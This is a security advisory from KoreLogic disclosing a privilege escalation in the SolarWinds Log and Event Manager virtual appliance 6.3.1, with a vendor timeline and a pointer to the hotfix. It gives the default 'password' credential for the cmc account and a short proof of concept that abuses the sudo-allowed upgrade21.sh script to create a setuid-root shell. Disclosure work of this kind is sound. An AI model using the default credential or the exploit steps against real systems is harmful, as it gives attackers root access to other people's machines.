An attacker can abuse functionality provided by a script which may be run with root privilege in order to elevate privilege on Solarwinds Log and Event Manager Virtual Appliance version 6.3.1.
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KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abuse
Title: Solarwinds LEM Privilege Escalation via Sudo Script Abuse
Advisory ID: KL-001-2017-006
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-006.txt
1. Vulnerability Details
Affected Vendor: Solarwinds
Affected Product: Log and Event Manager Virtual Appliance
Affected Version: v6.3.1
Platform: Embedded Linux
CWE Classification: CWE-269: Improper Privilege Management
Impact: Privileged Access
Attack vector: SSH
2. Vulnerability Description
An attacker can abuse functionality provided by a script which
may be run with root privilege in order to elevate privilege.
3. Technical Description
Should an attacker gain access to the SSH console for the
cmc user, root access to the underlying operating system can be
achieved. The default password for the cmc user is "password".
The cmc account can run certain script files with root privilege.
Listed below:
cmc ALL=(ALL) NOPASSWD:
/usr/local/contego/scripts/activate.pl,
/usr/local/contego/scripts/apply_hotfix,
/usr/local/contego/scripts/cleantemp.pl,
/usr/local/contego/scripts/contego-archive,
/usr/local/contego/scripts/contego-backup,
/usr/local/contego/scripts/contego-logbackup,
/usr/local/contego/scripts/debugdump.pl,
/usr/local/contego/scripts/disable_ipv6.sh,
/usr/local/contego/scripts/exportsyslog.pl,
/usr/local/contego/scripts/hostname.sh,
/usr/local/contego/scripts/ipchains_restore.sh,
/usr/local/contego/scripts/managerReset.pl,
/usr/local/contego/scripts/mountshare.sh,
/usr/local/contego/scripts/mountsolr.pl,
/usr/local/contego/scripts/netconfig.sh,
/usr/local/contego/scripts/opseccontrol.sh,
/usr/local/contego/scripts/rcc.pl,
/usr/local/contego/scripts/setupCert.sh,
/usr/local/contego/scripts/sim2lem.pl,
/usr/local/contego/scripts/snortcontrol.sh,
/usr/local/contego/scripts/sshcontrol.sh,
/usr/local/contego/scripts/swi_login_update.pl,
/usr/local/contego/scripts/timecontrol.sh,
/usr/local/contego/scripts/upgrade.pl,
/usr/local/contego/scripts/upgrade21.sh,
/usr/local/contego/scripts/upgrade_bootloader.sh,
/usr/local/contego/scripts/recovery.py,
/sbin/shutdown,
/usr/bin/lem/lynx-admin-ui
One script, upgrade21.sh allows the user to change ownership and
permission bits for an arbitrary file. This can be abused to
elevate privilege to root.
cmc@swi-lem:/usr/local/contego/scripts$ cp /bin/dash /tmp/koresh
cmc@swi-lem:/usr/local/contego/scripts$ sudo ./upgrade21.sh setperms /tmp/koresh root root 4755
sudo: unable to resolve host swi-lem
cmc@swi-lem:/usr/local/contego/scripts$ /tmp/koresh
# id
uid=1001(cmc) gid=1000(trigeo) euid=0(root)
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)
4. Mitigation and Remediation Recommendation
The vendor has released a Hotfix to remediate this
vulnerability. Hotfix and installation instructions are
available at:
https://thwack.solarwinds.com/thread/111223
5. Credit
This vulnerability was discovered by Hank Leininger and Matt
Bergin (@thatguylevel) of KoreLogic, Inc.
6. Disclosure Timeline
2017.02.16 - KoreLogic sends vulnerability report and PoC to
Solarwinds <[email protected]> using PGP key
with fingerprint
A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F.
2017.02.20 - Solarwinds replies that the key is no longer in
use, requests alternate communication channel.
2017.02.22 - KoreLogic submits vulnerability report and PoC to
alternate Solarwinds contact.
2017.02.23 - Solarwinds confirms receipt of vulnerability
report.
2017.04.06 - 30 business days have elapsed since Solarwinds
acknowledged receipt of vulnerability details.
2017.04.11 - Solarwinds releases hotfix and public disclosure.
2017.04.24 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
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